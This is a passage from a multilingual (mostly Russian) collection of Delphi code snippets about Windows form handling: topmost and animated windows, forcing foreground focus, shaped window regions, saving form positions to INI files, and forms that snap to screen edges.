EnableWindow(HTaskBar, True);
//Show the taskbar
ShowWindow(HTaskbar, SW_SHOW);
end;
-----------------------------------------------
procedure TForm1.FormShow(Sender: TObject);
var
r : TRect;
begin
SystemParametersInfo(SPI_GETWORKAREA, 0, @r,0);
Form1.SetBounds(r.left, r.top, r.Right - r.left, r.bottom - r.top);
end;
Мне необходимо поместить Delphi-форму ДЕЙСТВИТЕЛЬНО поверх других приложений, не просто поверх всех форм
приложения (что просто), а постоянно, даже если я использую, к примеру, EXCEL.
Попробуй использовать Windows API функцию SetWindowPos(). Примерно так...
with MyForm do
SetWindowPos(Handle,
HWND_TOPMOST,
Left,
Top,
Width,
Height,
SWP_NOACTIVATE or SWP_NOMOVE or SWP_NOSIZE);
Возможно вам понадобиться вызывать данную функцию в обработчиках события OnShow(), OnDeactivate(), и
OnActivate() вашей формы.
---------------------------------------------------------
Форма должна иметь нормальный стиль (normal style), необходимо лишь переписать процедуру CreateParams:
procedure TFloatingToolbar.CreateParams( var Params: TCreateParams );
begin
inherited CreateParams( Params );
with Params do
begin
Style := Style or ws_Overlapped;
WndParent := MainForm.Handle;
end;
end;
Функция AnimateWindow дает Вам возможность производить специальные эффекты при показе или сокрытии окон.
Имеются четыре типа мультипликации: ролик, слайд, свертывание или развертывание и плавное альфа-перетекание.
Синтаксис
function AnimateWindow(hwnd: HWND, dwTime: DWord, dwFlags: DWord);
Параметры
* hwnd - Дескриптор окна, которое анимируется. Вызывающий поток должен владеть этим окном.
* dwTime - Устанавливает, сколько необходимо времени, чтобы воспроизвести мультипликацию, в миллисекундах
Как правило, воспроизведение мультипликации занимает 200 миллисекунд.
* dwFlags - Определяет тип мультипликации. Этот параметр может быть одно или несколько нижеследующих
значений. Обратите внимание! что, по умолчанию, эти флажки дают желаемый результат при показе окна. Чтобы
получать желаемый результат при сокрытии окна, используйте флажок AW_HIDE и логический оператор OR с
соответствующими флажками.
o AW_SLIDE Использует слайдовую анимацию. По умолчанию используется анимационный ролик (прокрутка
мультипликации). Этот флажок игнорируется тогда, когда пользуется с флажком AW_CENTER.
o AW_ACTIVATE Активизирует окно (при показе окна). Не используйте это значение совместно с AW_HIDE.
o AW_BLEND Использует эффект постепенного изменения прозрачности окна. Этот флажок может быть
использован только в том случае, если параметр hwnd - окно верхнего уровня.
o AW_HIDE Скрывает окно. По умолчанию, окно показывается на экран.
o AW_CENTER Делает вид окна сжатым в точку, если используется флажок AW_HIDE или раскрытым из точки
до полного размера, если флажок AW_HIDE не используется. Различные предписывающие флаги не имеют никакого действия.
o AW_HOR_POSITIVE Анимирует окно слева направо. Этот флажок может быть использован с роликом или
слайдом мультипликации. Он игнорируется, когда используется с флажком AW_CENTER или AW_BLEND.
o AW_HOR_NEGATIVE Анимирует окно справа налево. Этот флажок может быть использован с роликом или
слайдом мультипликации. Он игнорируется, когда используется с флажком AW_CENTER или AW_BLEND.
o AW_VER_POSITIVE Анимирует окно сверху вниз. Этот флажок может быть использованы с роликом или
слайдом мультипликации. Он игнорируется, когда используется с флажком AW_CENTER или AW_BLEND.
o AW_VER_NEGATIVE Анимирует окно снизу вверх. Этот флажок может быть использован с роликом или
слайдом мультипликации. Он игнорируется, когда используется с флажком AW_CENTER или AW_BLEND.
Возвращаемые значения
Если функция завершается успешно, величина возвращаемого значения - не ноль. Если функция завершается с ошибкой,
величина возвращаемого значения - ноль. Функция завершится ошибкой в нижеследующих ситуациях: Если окно
использует регион окна. Windows XP: Это обстоятельство не заставляет функцию завершаться ошибкой. Если окно
уже видимое, и Вы пробуете выводить на экран окно. Если окно уже скрытое, и Вы пробуете скрыть окно. Если нет
заданного направления прокрутки для слайда или ролика. При попытке анимировать дочернее окно с флажком AW_BLEND.
Если поток не владеет окном. Обратите внимание! что, в этом случае функция AnimateWindow завершается ошибкой, а
GetLastError возвращает значение ERROR_SUCCESS. Чтобы получать расширенные данные об ошибках, вызовите функцию
GetLastError.
Замечания
При использовании слайда или прокрутки мультипликации, Вы должны задать направление. Это может быть или
AW_HOR_POSITIVE, AW_HOR_NEGATIVE, AW_VER_POSITIVE, или AW_VER_NEGATIVE. Вы можете комбинировать флажки
AW_HOR_POSITIVE или AW_HOR_NEGATIVE с AW_VER_POSITIVE или AW_VER_NEGATIVE, чтобы анимировать окно по диагонали.
Оконные процедуры для окна и его дочерних окон должны обрабатывать любое сообщение WM_PRINT или WM_PRINTCLIENT.
Диалоговые окна, органы управления и стандартные органы управления уже обрабатывают WM_PRINTCLIENT. Заданная по
умолчанию оконная процедура уже обрабатывает WM_PRINT. Если дочернее окно отображается частично отсеченным,
когда оно анимируется, то будет иметь дырки, где оно отсечено. AnimateWindow поддерживает окна RTL. Избегайте
анимировать окно, которое имеет тень, потому что оно производит видимое спонтанное дерганье мультипликации.
Вот примерчики:
procedure TForm1.FormShow(Sender: TObject);
begin
AnimateWindow(Handle, 500, AW_CENTER or AW_SLIDE);
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
AnimateWindow(handle, 500, AW_BLEND or AW_HIDE);
end;
{
In Win9X or NT4, there's a 'zooming effect' when an application is minimized
to the taskbar or restored from the taskbar.
Delphi applications don't have this zooming effect.
You can switch the effect on or off with the following piece of code:
}
Info: TAnimationInfo;
begin
ZeroMemory(@Info,SizeOf(Info));
Info.cbSize := SizeOf(TAnimationInfo);
BOOL(Info.iMinAnimate) := Value;
SystemParametersInfo(SPI_SETANIMATION, SizeOf(Info), @Info, 0);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
SetAnimation(True);
end;
Danny Thorpe (Borlandeer) посоветовал мне способ избежать использования LockWindowUpdate и, соответственно,
избежать излишнего мерцания экрана. Во многих случаях более эффективным способом будет посылка сообщения
WM_SETREDRAW, позволяющая блокировать/разблокировать форму, не затрагивая при этом остальные окна.
Так, чтобы временно запретить форме перерисовываться, необходим следующий код:
Perform(WM_SETREDRAW, 0, 0);
... и, чтобы возвратиться к нормальному состоянию:
Perform(WM_SETREDRAW, 1, 0);
Refresh;
--------------------------------------------------------
LockWindowUpdate(Memo1.Handle);
...
...
LockWindowUpdate(0);
{
Windows 98/2000 doesn't want to foreground a window when
some other window has the keyboard focus.
ForceForegroundWindow is an enhanced SetForeGroundWindow/bringtofront
function to bring a window to the front.
}
{
Manchmal funktioniert die SetForeGroundWindow Funktion
nicht so, wie sie sollte; besonders unter Windows 98/2000,
wenn ein anderes Fenster den Fokus hat.
ForceForegroundWindow ist eine "verbesserte" Version von
der SetForeGroundWindow API-Funktion, um ein Fenster in
den Vordergrund zu bringen.
}
function ForceForegroundWindow(hwnd: THandle): Boolean;
const
SPI_GETFOREGROUNDLOCKTIMEOUT = $2000;
SPI_SETFOREGROUNDLOCKTIMEOUT = $2001;
var
ForegroundThreadID: DWORD;
ThisThreadID: DWORD;
timeout: DWORD;
begin
if IsIconic(hwnd) then ShowWindow(hwnd, SW_RESTORE);
if GetForegroundWindow = hwnd then Result := True
else
begin
// Windows 98/2000 doesn't want to foreground a window when some other
// window has keyboard focus
if ((Win32Platform = VER_PLATFORM_WIN32_NT) and (Win32MajorVersion > 4)) or
((Win32Platform = VER_PLATFORM_WIN32_WINDOWS) and
((Win32MajorVersion > 4) or ((Win32MajorVersion = 4) and
(Win32MinorVersion > 0)))) then
begin
// Code from Karl E. Peterson, www.mvps.org/vb/sample.htm
// Converted to Delphi by Ray Lischner
// Published in The Delphi Magazine 55, page 16
Result := False;
ForegroundThreadID := GetWindowThreadProcessID(GetForegroundWindow, nil);
ThisThreadID := GetWindowThreadPRocessId(hwnd, nil);
if AttachThreadInput(ThisThreadID, ForegroundThreadID, True) then
begin
BringWindowToTop(hwnd); // IE 5.5 related hack
SetForegroundWindow(hwnd);
AttachThreadInput(ThisThreadID, ForegroundThreadID, False);
Result := (GetForegroundWindow = hwnd);
end;
if not Result then
begin
// Code by Daniel P. Stasinski
SystemParametersInfo(SPI_GETFOREGROUNDLOCKTIMEOUT, 0, @timeout, 0);
SystemParametersInfo(SPI_SETFOREGROUNDLOCKTIMEOUT, 0, TObject(0),
SPIF_SENDCHANGE);
BringWindowToTop(hwnd); // IE 5.5 related hack
SetForegroundWindow(hWnd);
SystemParametersInfo(SPI_SETFOREGROUNDLOCKTIMEOUT, 0, TObject(timeout), SPIF_SENDCHANGE);
end;
end
else
begin
BringWindowToTop(hwnd); // IE 5.5 related hack
SetForegroundWindow(hwnd);
end;
Result := (GetForegroundWindow = hwnd);
end;
end; { ForceForegroundWindow }
// 2. Way:
//**********************************************
procedure ForceForegroundWindow(hwnd: THandle);
// (W) 2001 Daniel Rolf
// http://www.finecode.de
// rolf@finecode.de
var
hlp: TForm;
begin
hlp := TForm.Create(nil);
try
hlp.BorderStyle := bsNone;
hlp.SetBounds(0, 0, 1, 1);
hlp.FormStyle := fsStayOnTop;
hlp.Show;
mouse_event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
mouse_event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
SetForegroundWindow(hwnd);
finally
hlp.Free;
end;
end;
// 3. Way:
//**********************************************
// by Thomas Stutz
{
As far as you know the SetForegroundWindow function on Windows 98/2000 can
not force a window to the foreground while the user is working with another window.
Instead, SetForegroundWindow will activate the window and call the FlashWindowEx
function to notify the user. However in some kind of applications it is necessary
to make another window active and put the thread that created this window into the
foreground and of course, you can do it using one more undocumented function from
the USER32.DLL.
void SwitchToThisWindow (HWND hWnd, // Handle to the window that should be activated
BOOL bRestore // Restore the window if it is minimized
);
}
procedure SwitchToThisWindow(h1: hWnd; x: bool); stdcall;
external user32 Name 'SwitchToThisWindow';
{x = false: Size unchanged, x = true: normal size}
procedure TForm1.Button2Click(Sender: TObject);
begin
SwitchToThisWindow(FindWindow('notepad', nil), True);
end;
Если Вы хотите ввести в изумление пользователя с первых минут его использования Вашего приложения, тогда
самый верный способ - заставить окно “вылететь”, а не появиться обычным способом! Сделать это довольно
легко, надо только описать два события: OnShow (на появление формы) и OnClose (на закрытие формы)Выглядеть
это будет так:
procedure TForm1.FormShow(Sender: TObject);
var
RectSmall, RectNormal: TRect;
begin
RectSmall := Rect(0, 0, 0, 0);
RectNormal := Form1.BoundsRect;
DrawAnimatedRects(GetDesktopWindow, IDANI_CAPTION, RectSmall, RectNormal);
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
RectSmall, RectNormal: TRect;
begin
RectSmall := Rect(0, 0, 0, 0);
RectNormal := Form1.BoundsRect;
DrawAnimatedRects(GetDesktopWindow, IDANI_CAPTION, RectNormal, RectSmall);
end;
Мы объявляем две переменные класса TRect (От англ. Rectangle - прямоугольник ). Называем их, например RectSmall
и RectNormal. Для RectSmall мы задаём нули: (0,0,0,0), тем самым указав начало координат, т.е. левый верхний угол
экрана. В RectNormal помещаем рамку формы с помощью функции BoundsRect. Функция DrawAnimatedRects создаёт
перетекание начальной рамки в конечную. В событии OnShow мы из маленькой рамки делаем большую – окно
вылетает, а в событии OnClose большая рамка перетекает в маленькую – окно улетает!
----------------------------------------
{
A lot of Windows applications show a nice zooming animation when they
minimize/maximize their windows. Ofcourse you can do this too!
Microsoft provides the DrawAnimatedRects() function for this purpose and I'll
show you how to use it.
As an example I'll show how to show an animation that you can use to minimize
your application to the system tray area. This example doesn't actually minimize
the application, it only shows the animation.
First create a new application and put a button on the form. Use the following
OnClick-handler for the button:
}
procedure TForm1.Button1Click(Sender: TObject);
var
FormRect, TrayRect: TRect;
hTray: THandle;
begin
// Get handle of tray window
hTray := FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0,'TrayNotifyWnd', nil);
if hTray <> 0 then
begin
// This is the source rect for the animation.
FormRect := BoundsRect;
// Get tray window's coordinates as a TRect. This will be the animation's destination rect.
GetWindowRect(hTray, TrayRect);
{
Now perform the actual animation. Note that this code only shows the
animation. It does NOT minimize this application to the tray. I leave
that up to yourself ;-)
Also notice that the Delphi Help documents are very wrong about this
function! Use the official MSDN docs located Microsoft's website.
Instead of IDANI_CAPTION you can also use IDANI_OPEN and IDANI_CLOSE, but
they don't seem to do anything... Maybe they are for future use?
}
if not DrawAnimatedRects(Handle, IDANI_CAPTION, FormRect, TrayRect) then
begin
MessageDlg('DrawAnimatedRects() failed!', mtError, [mbOK], 0);
end;
end
else
begin
MessageDlg('Can''t get tray window handle!', mtError, [mbOK], 0);
end;
end;
Я хочу следующее:
* мой компонент должен "динамически" создавать форму.
* я не хочу включать имя модуля создаваемой формы в список используемых модулей моей текущей формы!!!
Ок, но модуль, содержащий форму, должен включаться в ваш EXE-файл, после чего вы должны вызвать RegisterClass.
Наилучшее место для размещения вызова - секция инициализации модуля, определяющего форму:
unit MyUnit;
interface
type
TMyForm = class(TForm)
...
implementation
...
initialization
RegisterClass(TMyForm);
end.
Теперь вы можете создавать экземпляр этой формы из любого места программы, например так:
var
SomeForm: TForm;
FormClass: TFormClass;
...
FormClass := TFormClass(FindClass('TMyForm'));
SomeForm := FormClass.Create(Application);
...
{
Q: How to know whether a form already exist before I dynamically create it ?
A: See the Forms and FormCount property of TScreen. You can iterate
through the forms, and test to see if your form is there.
}
function IsFormOpen(const FormName : string): Boolean;
var
i: Integer;
begin
Result := False;
for i := Screen.FormCount - 1 DownTo 0 do
if (Screen.Forms[i].Name = FormName) then
begin
Result := True;
Break;
end;
end;
// Example: Showing a TForm.
// First check, if the Form (here Form2) is open. If not, create it.
procedure TForm1.Button1Click(Sender: TObject);
begin
if not IsFormOpen('Form2') then
Form2 := TForm2.Create(Self);
Form2.Show
end;
{ For MDI Children }
function IsMDIChildOpen(const AFormName: TForm; const AMDIChildName : string): Boolean;
var
i: Integer;
begin
Result := False;
for i := Pred(AFormName.MDIChildCount) DownTo 0 do
if (AFormName.MDIChildren[i].Name = AMDIChildName) then
begin
Result := True;
Break;
end;
end;
// Example: Showing a MDI Child.
// First check, if the MDI Child is open. If not, create it.
procedure TForm1.Button2Click(Sender: TObject);
begin
if not IsMDIChildOpen(Form1, 'MyMDIChild') then
MyMDIChild := TMyMDIChild.Create(Self);
MyMDIChild.Show;
MyMDIChild.BringToFront;
end;
{....}
private
procedure WMNCHitTest(var Message: TWMNCHitTest); message WM_NCHITTEST;
{....}
procedure TForm1.WMNCHitTest(var Message: TWMNCHitTest);
begin
inherited;
with Message do
begin
if Result = HTCAPTION then
Result := HTNOWHERE;
end;
end;
var
tutup: Boolean;
i: Integer;
procedure TForm1.Timer1Timer(Sender: TObject);
var
reg1, reg2: hrgn;
begin
if tutup = True then
begin
i := i + 10;
reg1 := CreateRoundRectRgn(0 + i, 0 + i, Width - i, Height - i, 20, 20);
SetWindowRgn(Handle, reg1, True);
end;
if i >= Width then
begin
tutup := False;
i := 1;
end;
if tutup = False then
begin
i := i + 10;
reg1 := CreateRectRgn(0, 0, (Width div 2) - i, Height);
reg2 := CreateRectRgn((Width div 2) + i, 0, Width, Height);
CombineRgn(reg1, reg1, reg2, rgn_or);
SetWindowRgn(Handle, reg1, True);
if i >= Width div 2 then
begin
tutup := True;
i := 1;
end;
end;
end;
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
var
reg1: hrgn;
begin
i := 1;
timer1.Enabled := True;
if MessageDlg('Exit now ?',
mtConfirmation, [mbYes, mbNo], 0) = mrYes then
CanClose := True
else
begin
CanClose := False;
timer1.Enabled := False;
reg1 := CreateRoundRectRgn(0, 0, Width, Height, 0, 0);
SetWindowRgn(Handle, reg1, True);
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
tutup := True;
timer1.Enabled := False;
end;
unit Formini;
{$IFDEF Production}
{$S-,R-,D-,L-,W-}
{$ENDIF}
{
TFormINI новая замена TForm, умеющая автоматически сохранять и восстанавливать
значения свойств Top, Left, Height, Width и WindowState
из программного INI-файла без какого-то либо программирования.
Код берет имя выполняемого файла из Application.EXEName и меняет
расширение на .INI.
В качестве имени секции при хранении величин в INI-файле,
TFormINI использует заголовок формы.
Просто замените все существующие объявления класса TForm на TFormINI,
и TFormINI позаботится обо всем остальном (в пределах функциональности).
Теперь ваши формы будут такие же, как и при их закрытии.
TMyForm = class(TForm) -> TMyForm = class(TFormINI)
}
interface
uses InIFiles, Forms, Controls, SysUtils, WinTypes, Classes;
type
TFormINI = class(TForm)
private
PrgINI: TIniFile;
FSection: string;
protected
procedure WriteInteger(Section, Ident: string; value: longint);
function ReadInteger(Section, Ident: string; Default: longint): longint;
public
constructor Create(AOwner: TComponent); override;
procedure CreateParams(var Params: TCreateParams); override;
procedure DoShow; override;
destructor Destroy; override;
end;
implementation
constructor TFormINI.Create(AOwner: TComponent);
var
INIFile: string;
begin
INIFile := ExtractFileName(Application.EXEName);
INIFile := ChangeFileExt(INIFile, '.INI');
PrgINI := TIniFile.Create(INIFile);
inherited Create(AOwner);
end;
procedure TFormINI.CreateParams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
with Params do
begin
FSection := StrPas(Caption);
Y := ReadInteger('', 'Top', 0);
X := ReadInteger('', 'Left', 0);
Width := ReadInteger('', 'Width', Width);
Height := ReadInteger('', 'Height', Height);
end;
end;
procedure TFormINI.DoShow;
var
aWindowState: integer;
begin
aWindowState := ReadInteger('', 'WindowState', 0);
case aWindowState of
0: WindowState := wsNormal;
1: WindowState := wsMinimized;
2: WindowState := wsMaximized;
end;
inherited DoShow;
end;
procedure TFormINI.WriteInteger(Section, Ident: string; value: longint);
begin
if Section = '' then
PrgINI.WriteInteger(FSection, Ident, value)
else
begin
PrgINI.WriteInteger(Section, Ident, value);
FSection := Section;
end;
end;
destructor TFormINI.Destroy;
begin
if WindowState = wsNormal then
begin
WriteInteger('', 'Top', Top);
WriteInteger('', 'Left', Left);
end;
WriteInteger('', 'Width', Width);
WriteInteger('', 'Height', Height);
case WindowState of
wsNormal: WriteInteger('', 'WindowState', 0);
wsMinimized: WriteInteger('', 'WindowState', 1);
wsMaximized: WriteInteger('', 'WindowState', 2);
end;
PrgINI.Free;
inherited Destroy;
end;
function TFormINI.ReadInteger(Section, Ident: string; Default: longint):
longint;
begin
if Section = '' then
Result := PrgINI.ReadInteger(FSection, Ident, Default)
else
begin
Result := PrgINI.ReadInteger(Section, Ident, Default);
FSection := Section;
end;
end;
end.
type
TForm1 = class(TForm)
Button1: TButton;
OpenDialog1: TOpenDialog;
procedure Button1Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
FWallpaper: TBitmap;
procedure WMEraseBkGnd(var Msg: TWMEraseBkGnd); message WM_ERASEBKGND;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormDestroy(Sender: TObject);
begin
FWallpaper.Free;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
// Load the bitmap
// Bild laden
if OpenDialog1.Execute then
begin
if not Assigned(FWallpaper) then
FWallpaper := TBitmap.Create;
FWallpaper.LoadFromFile(OpenDialog1.FileName);
Invalidate;
end;
end;
procedure TForm1.WMEraseBkGnd(var Msg: TWMEraseBkGnd);
var
row, col: Integer;
begin
if not Assigned(FWallpaper) then
inherited
else
begin
// Draw the bitmap
// Das Bild zeichnen
for Row := 0 to ClientHeight div FWallpaper.Height do
for Col := 0 to ClientWidth div FWallpaper.Width do
BitBlt(Msg.Dc,
Col * FWallpaper.Width,
Row * FWallpaper.Height,
FWallpaper.Width,
FWallpaper.Height,
FWallpaper.Canvas.Handle,
0,
0,
SRCCOPY);
Msg.Result := 1;
end; { else }
end;
end.
{
When youu need a form like a tree or something else what do you do? Windows
provides the CreateRoundRectRegion() function that just cuts the edges of your
form. If you want to do something else, you need to completely draw your
region in a HDC (TCanvas) while Windows looks on your hand to learn it.
After this, you can set the new region to your form using the 'SetWindowRgn()' function.
And how to do this? Here you will find a simple example that just gives some text
and sets the region like it. Expand it by your mind!
}
var
Form1: TForm1;
HRgn: THandle;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
s: string;
begin
DeleteObject(HRgn);
s := InputBox('Region Text', 'Please enter some text to set to the region', 'CoolRgn');
BeginPath(Canvas.Handle);
with Canvas do
begin
Font.Name := 'Comic Sans MS';
Font.Size := 64;
Font.Style := [fsBold];
TextOut(0, 0, s);
end;
EndPath(Canvas.Handle);
HRgn := PathToRegion(Canvas.Handle);
SetWindowRgn(Handle, HRgn, True);
button1.Visible := False;
Color := clRed;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
DeleteObject(HRgn);
end;
procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if Button = mbLeft then
begin
ReleaseCapture;
SendMessage(Handle, WM_NCLBUTTONDOWN, HTCAPTION, 0);
end;
end;
Переопределите в подклассе TForm оконную процедуру WinProc класса. В примере оконная процедура переопределяется для
того чтобы реагировать на сообщение WM_CANCELMODE, показывающее, что выполняется messagebox или какой-либо еще диалог.
type
TForm1 = class(TForm)
Button1: TButton;
procedure WndProc (var message: TMessage); override;
procedure Button1Click(Sender: TObject);
private
{Private declarations}
public
{Public declarations}
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.WndProc (var message: TMessage);
begin
if message.Msg = WM_CANCELMODE then
Form1.Caption := 'A dialog or message box has popped up'
else
inherited // Oстальное сделает родительская процедура
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage('Test Message');
end;
function TForm1.Find(s: string): hWnd;
var
Wnd: hWnd;
buff: array[0..127] of Char;
begin
Find := 0;
Wnd := GetWindow(Handle, gw_HWndFirst);
while Wnd <> 0 do
begin
if (Wnd <> Application.Handle) and
IsWindowVisible(Wnd) and
(GetWindow(Wnd, gw_Owner) = 0) and
(GetWindowText(Wnd, buff, sizeof(buff)) <> 0) then
begin
GetWindowText(Wnd, buff, sizeof(buff));
if pos(s, StrPas(buff)) > 0 then
begin
Find := Wnd;
Break;
end;
end;
Wnd := GetWindow(Wnd, gw_hWndNext);
end;
end;
constructor TForm1.Create(AOwner: TComponent); // override;
var
fname: string;
begin
{ Для динамически создаваемых контролов, может требоваться
RegisterClasses(..); }
fname := FormFilename;
if FileExists( fname ) then
begin
CreateNew(AOwner);
ReadComponentResFile(fname, Self);
end
else
inherited Create( AOwner );
end;
procedure TForm1.FormCloseQuery( Sender: TObject;
var CanClose: Boolean);
begin
WriteComponentResFile(FormFileName, Self);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
ms: TMemoryStream;
newform: TForm1;
begin
ms := TMemoryStream.Create;
try
ms.WriteComponent(Form1);
newform := TForm1.CreateNew(Application);
ms.Position := 0;
ms.ReadComponent(newform);
{ show the new form. Note that it will appear exactly on top of the
original! You may want to change its Left and Top property to move it
a bit.
Zeigt die neue Form. Die neue Form erscheint genau oberhalb der
original form. Die Left, Top Properties mussen evtl. noch angepasst werden
}
newform.Show;
finally
ms.Free
end;
end;
Передаем имя класса формы переменной с именем FormClassName:
MyForm := TFormClass(FindClass(FormClassName)).Create(Application);
В случае, когда имя класса не найдено, возникает исключительная ситуация. Возможно, перед данным вызовом необходимо
вызвать RegisterClasses, делающий класс формы членом набора параметров.
В статье рассматривается приём создания обработчиков сообщений, которые позволяют форме при перетаскивании
"прилипать" к краям экранной области.
Конечно же в Win API такой возможности не предусмотрено, поэтому мы воспользуемся сообщениями Windows.
Как нам извесно, Delphi обрабатывает сообщения через события, генерируя его в тот момент, когда Windows
посылает сообщений приложению. Однако некоторые сообщения не доходят до нас. Например, при изменении размеров
формы, генерируется событие OnResize, соотвествующее сообщению WM_SIZE, но при перетаскивании формы никакой
реакции не происходит. Конечно же форма может получить это сообщение, но изначально никаких действий для данного
сообщения не предусмотрено.
Итак, при перемещении, окну посылается сообщение WM_MOVING. Обрабатывая данной сообщение, приложение может
отслеживать размер и расположение перетаскиваемого квадрата и, при необходимости, изменять их.
Так же существует сообщение WM_WINDOWPOSCHANGING, которое посылается окну, в случае, если его размер,
расположение или место в Z порядке собираются измениться, как результат вызова функции SetWindowPos либо
другой функции управления окном.
Чаще всего с сообщением передаются дополнительные параметры, которые сообщают нам необходимую информацию.
Например, сообщение WM_MOVE, указывающее на то, что форма изменила своё местоположение, так же передаёт в
параметре LPARAM новые координаты X и Y.
Сообщение WM_WINDOWPOSCHANGING передаёт нам ТОЛЬКО один параметр - указатель на структуру WindowPos, которая
содержит информацию о новом размере и местоположении окна. Вот как выглядит структура WindowPos:
TWindowPos = packed record
hwnd: HWND; {Identifies the window.}
hwndInsertAfter: HWND; {Window above this one}
x: Integer; {Left edge of the window}
y: Integer; {Right edge of the window}
cx: Integer; {Window width}
cy: Integer; {Window height}
flags: UINT; {Window-positioning options.}
end;
Наша задача проста: нам необходима, чтобы форма прилипла к краю экрана, если она находится на определённом
расстоянии от окна (допустим 20 пикселей).
Пример
К новой форме добавьте Label, один контрол Edit и четыре Check boxes. Измените имя контрола Edit на edStickAt.
Измените имена чекбоксов на chkLeft, chkTop, и т.д... Для установки количества пикселей используем edStickAt,
который будет использоваться для определения необходимого расстояния до края экрана достаточного для приклеивания
формы.
Нас интересует только одно сообщение WM_WINDOWPOSCHANGING. Обработчик для данного сообщения будет объявлен в
секции private. Ниже приведён полный код этого процедуры "прилипания" вместе с комментариями. Обратите внимание,
что Вы можете предотвратить "прилипание" формы к определённому краю, путё снятия нужной галочки.
Для получения рабочей области декстопа (минус панель задач, панель Microsoft и т.д.), используем SystemParametersInfo,
первый параметр которой SPI_GETWORKAREA.
...
private
procedure WMWINDOWPOSCHANGING(var Msg: TWMWINDOWPOSCHANGING);
message WM_WINDOWPOSCHANGING;
...
procedure TfrMain.WMWINDOWPOSCHANGING(var Msg: TWMWINDOWPOSCHANGING);
const
Docked: Boolean = FALSE;
var
rWorkArea: TRect;
StickAt : Word;
begin
StickAt := StrToInt(edStickAt.Text);
SystemParametersInfo(SPI_GETWORKAREA, 0, @rWorkArea, 0);
with Msg.WindowPos^ do
begin
if chkLeft.Checked then
if x <= rWorkArea.Left + StickAt then
begin
x := rWorkArea.Left;
Docked := TRUE;
end;
if chkRight.Checked then
if x + cx >= rWorkArea.Right - StickAt then
begin
x := rWorkArea.Right - cx;
Docked := TRUE;
end;
if chkTop.Checked then
if y <= rWorkArea.Top + StickAt then
begin
y := rWorkArea.Top;
Docked := TRUE;
end;
if chkBottom.Checked then
if y + cy >= rWorkArea.Bottom - StickAt then
begin
y := rWorkArea.Bottom - cy;
Docked := TRUE;
end;
if Docked then
begin
with rWorkArea do
begin
// не должна вылезать за пределы экрана
if x < Left then
x := Left;
if x + cx > Right then
x := Right - cx;
if y < Top then
y := Top;
if y + cy > Bottom then
y := Bottom - cy;
end; {ширина rWorkArea}
end;
end; {с Msg.WindowPos^}
inherited;
end;
end.
Теперь достаточно запустить проект и перетащить форму к любому краю экрана.
Вот собственно и всё.
Комментарии:
Автор: Nashev
а так короче... И, ИМХО, лучше:
procedure TCustomGlueForm.WMWindowPosChanging1(var Msg: TWMWindowPosChanging);
var
WorkArea: TRect;
StickAt : Word;
begin
StickAt := 10;
SystemParametersInfo(SPI_GETWORKAREA, 0, @WorkArea, 0);
with WorkArea, Msg.WindowPos^ do
begin
// Сдвигаем границы для сравнения с левой и верхней сторонами
Right:=Right-cx;
Bottom:=Bottom-cy;
if abs(Left - x) <= StickAt then
x := Left;
if abs(Right - x) <= StickAt then
x := Right;
if abs(Top - y) <= StickAt then
y := Top;
if abs(Bottom - y) <= StickAt then
y := Bottom;
end;
inherited;
end;
В проекте осталось 2 глюка:
1. Если у формы, к которой прицепили другую форму за правую/нижнюю границы попробовать переместить эти границы,
прицепленная форма останется на месте но все равно будет прикрепленной.
2. Иногда 3 формы прикрепляются друг к другу, и иначе, как воспользовавшись 1-ым глюком, их не расцепить.
Для использования сделанного в своих проектах надо добавить в проект, и свои формы создавать, наследуя от него,
например, через мастер "File/New..."
В принципе, если липкость нужна без прилипания (а это уже работает без глюков) можно выкинуть все методы, кроме
procedure WMWindowPosChanging(var Msg: TWMWindowPosChanging);
message WM_WINDOWPOSCHANGING;
и все переменные, а в самом WMWindowPosChanging удалить все упоминания этих переменных.
procedure SetAsMainForm(aForm:TForm);
var
P:Pointer;
begin
P := @Application.Mainform;
Pointer(P^) := aForm;
end;
{************************************}
// Example of Usage:
{
Question:
If my application is main.exe and the main form is form1, form1 displays
when it runs. I would like to display other forms based on the parameter
passed.
main.exe param1 will display form2 as the first form
main.exe param2 with display form3 as the first form
Answer:
}
program Project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1},
Unit2 in 'Unit2.pas' {Form2},
Unit3 in 'Unit3.pas' {Form3};
{$R *.res}
procedure SetAsMainForm(aForm:TForm);
var
P:Pointer;
begin
P := @Application.Mainform;
Pointer(P^) := aForm;
end;
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.CreateForm(TForm2, Form2);
Application.CreateForm(TForm3, Form3);
if Paramstr(1) = 'Param1' then
SetAsMainForm(Form2);
if Paramstr(1) = 'Param2' then
SetAsMainForm(Form3);
Application.Run;
end.
Мне необходимо при запуске приложения спрятать главную форму, но, к сожалению, это не работает. После того, как я
установил в главной форме свойство WindowState в wsMinimized и запустил ее, форма свернулась на рабочем столе Win95
вместо положенной панели задач.
Кто-нибудь знает как решить эту проблему?
Была одна статья по этому поводу в Delphi Magazine, Issue 19, март 1997, которая объясняла эту проблему.
Вот мой переработанный вариант обхода ошибки:
unit Foobar;
interface
type
TfrmFoobar = class(TForm);
procedure DoRestore(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
implementation
procedure TfrmUVChannel.FormCreate(Sender: TObject);
begin
//Устанавливаем временный обработчик события восстановления формы приложения
Application.OnRestore := DoRestore;
Application.Minimize;
end;
